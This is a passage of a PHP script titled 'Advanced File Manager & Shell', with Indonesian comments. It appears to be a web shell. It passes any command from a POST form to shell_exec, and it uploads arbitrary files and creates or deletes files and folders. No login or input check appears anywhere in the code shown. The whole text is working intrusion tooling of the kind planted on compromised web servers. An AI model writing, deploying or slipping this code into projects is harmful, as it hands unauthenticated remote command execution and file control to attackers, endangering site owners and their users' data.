" . htmlspecialchars(shell_exec($command)) . ""; } // Fungsi untuk membuat dan menghapus file/folder function createFile($path, $filename) { $filepath = $path . DIRECTORY_SEPARATOR . $filename; return file_put_contents($filepath, '') !== false ? "File created: $filename" : "Failed to create file."; } function createFolder($path, $foldername) { $folderpath = $path . DIRECTORY_SEPARATOR . $foldername; return mkdir($folderpath) ? "Folder created: $foldername" : "Failed to create folder."; } function deleteItem($path) { return is_dir($path) ? rmdir($path) : unlink($path); } function uploadFile($path, $file) { $target = $path . DIRECTORY_SEPARATOR . basename($file['name']); return move_uploaded_file($file['tmp_name'], $target) ? "Uploaded: " . $file['name'] : "Failed to upload."; } $output = ''; // Handle form actions if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['command'])) { $output = executeCommand($_POST['command']); } elseif (isset($_POST['create_file'])) { $output = createFile($path, $_POST['filename']); } elseif (isset($_POST['create_folder'])) { $output = createFolder($path, $_POST['foldername']); } elseif (isset($_POST['delete'])) { $output = deleteItem($_POST['item_path']) ? "Deleted: {$_POST['item_path']}" : "Failed to delete."; } elseif (isset($_FILES['upload'])) { $output = uploadFile($path, $_FILES['upload']); } } ?> Advanced File Manager & Shell

📂 File Manager & Shell

📍 Current Directory: 🔼 Up /

💻 Execute Command

📁 Create Folder / File

⬆️ Upload File

📝 Output: